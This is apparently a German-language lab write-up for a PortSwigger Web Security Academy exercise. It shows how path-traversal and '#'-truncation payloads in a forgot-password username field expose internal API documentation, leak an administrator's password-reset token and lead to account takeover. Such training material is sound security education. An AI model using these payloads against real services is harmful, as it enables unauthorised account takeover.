> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md).

# Serverseitige Parameterverunreinigung in einer REST-URL

Notizen zur serverseitigen Parameterverunreinigung in einer REST-URL für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Kontext zur Behebung.

### Ausnutzen von serverseitiger Parametervergiftung in einer REST-URL

**Lernziel**/ Als Administrator anmelden\*\* und Benutzer löschen**carlos**.

#### 1. Funktionalität « Passwort vergessen »

Sie rufen die Funktion „Passwort vergessen“ auf und geben den Benutzernamen ein **administrator**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d988f07dafa1d5e5d10b2acbe9d84a7a8c7f1ace%2F%7B0C78BA96-E240-42AF-98CE-BFF2077D7019%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Die an den Server gesendete Anfrage lautet wie folgt:

```bash
POST /forgot-password

csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=administrator
```

Erhaltene Antwort:

```json
{
    "result":"*****@normal-user.net",
    "type":"email"
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3d459efdfd99e8905e2e321b6a1f0c125c53a7%2F%7B78A18812-9E8E-4CC4-AE1C-E2169B73FFAC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2. Analyse des clientseitigen JavaScript-Codes

Der JavaScript-Code zeigt, dass der `Benutzername` Wert unverändert in die Abfrage gesendet wird, ohne zusätzliche Validierung auf dem Server.

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Ungültiger Benutzername";
                }
                else
                {
                    forgotPasswordError.textContent = `Bitte überprüfen Sie Ihre E-Mail: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Ungültiger Benutzername";
            });
    } catch (error) {
        console.error("Unerwarteter Fehler:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

Dies deutet darauf hin, dass der Wert als Teil des Pfads der Backend-API interpretiert werden kann.

#### 3. Versuche, die `Benutzername` Parameter

* Fügte ein `#` am Ende des Parameters hinzu:

```bash
&username=administrator#
```

Antwort:

```json
{
  "type": "error",
  "result": "Ungültige Route. Bitte schlagen Sie in der API-Definition nach"
}
```

* Pfadübergreifender Versuch:

```bash
&username=../../../../administrator
```

Antwort: Fehler „Not Found“ vom API-Server.

{% code overflow="wrap" %}

```json
{
  "error": "Unerwartete Antwort vom API-Server:/n<html>/n<head>/n    <meta charset=/"UTF-8/">/n    <title>Nicht gefunden<//title>/n<//head>/n<body>/n    <h1>Nicht gefunden<//h1>/n    <p>Die angeforderte URL wurde nicht gefunden.<//p>/n<//body>/n<//html>/n"
}
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8767c745bd790ed519cc9c3aa20c5375b126e84%2F%7BF382259F-3EE6-4C0D-B68A-346D4872FF50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 4. Entdeckung der OpenAPI-Dokumentation

Kombination aus Verzeichnisüberquerung und `#` Zeichen:

{% code overflow="wrap" %}

```bash
csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=../../../../administrator%23
```

{% endcode %}

Es liefert `openapi.json` mit einer großen Antwortlänge.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad653ab9bec0585c4ab313a8ce95b430e45dd803%2F%7BB2BA4C55-BA6E-47B8-BFE7-1DE9A39BFF09%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Fehlermeldung:

```json
{
  "error": "Unerwartete Antwort vom API-Server:/n{/n  /"openapi/": /"3.0.0/",/n  /"info/": {/n    /"title/": /"Benutzer-API/",/n    /"version/": /"2.0.0/"/n  },/n  /"paths/": {/n    /"/api/internal/v1/users/{username}/field/{field}/": {/n      /"get/": {/n        /"tags/": [/n          /"Benutzer/"/n        ],/n        /"summary/": /"Benutzer anhand des Benutzernamens finden/",/n        /"description/": /"API-Version 1/",/n        /"parameters/": [/n          {/n            /"name/": /"username/",/n            /"in/": /"path/",/n            /"description/": /"Benutzername/",/n            /"required/": true,/n            /"schema/": {/n        ..."
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-590adde3d9fcbe5f92197d1b8e59847ee854185f%2F%7BAD8A2F03-18CC-4907-BC34-E6CD684F847E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Der Server gibt einen Fehler zurück, der **OpenAPI** Dokumentation enthält und verfügbare interne Routen offenlegt, darunter:

```bash
/api/internal/v1/users/administrator/field/{field}
```

#### 5. Ausnutzung der internen API

Das `Benutzername` der Parameter wird angepasst, um die API direkt anzugreifen:

```bash
administrator/field/test%23
```

```json
{
  "type": "error",
  "result": "Diese Version der API unterstützt aus Sicherheitsgründen nur das E-Mail-Feld"
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f3301b0536b887bec00d9da9f43676bf7634204%2F%7BC6857E93-D0F9-45F6-A0E9-FC328AA41C03%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Gültige Antwort mit der Admin-E-Mail.

```bash
&username=administrator/field/email%23
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07eb54c2934c1c66d320f2a5fc56cc187c2823d4%2F%7B82179552-D1A4-4ECF-9DAB-3B452D213B91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 6. Wiederherstellung des Reset-Tokens

```bash
../../v1/users/administrator
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9dbd58c73bb5bc886092f372dde4228ea5d8780%2F%7B3F19E1E1-9AD0-4B73-860F-C0175B591C43%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Andere von der API freigegebene Felder testen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7dd8af1e52de6d94a175fc61773c91dfe168b6a8%2F%7BB1D6DF4D-805A-48C5-89A3-085CC1C9D450%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
&username=../../v1/users/administrator/field/passwordResetToken%23
```

Antwort:

```json
{
  "type": "passwordResetToken",
  "result": "guw2qorqvfcpqohuv92wb460x4da485o"
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fcb0a4caaa777789d2e09fe7910daeef8d79e7b%2F%7BCB976023-096D-4FFB-ABB7-4F67547EB0EA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 7. Administratorpasswort zurücksetzen

Der wiederhergestellte Token wird verwendet, um auf die Reset-Seite zuzugreifen:

```bash
/forgot-password?passwordResetToken=guw2qorqvfcpqohuv92wb460x4da485o
```

Dies ermöglicht es Ihnen, ein neues Passwort festzulegen für **administrator**, dann verbinden und Benutzer löschen **carlos**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae4038590ae16e9e56175a3491081ddcfe0ea41d%2F%7B62FC6673-1BF3-48BD-97E4-83470BC3F504%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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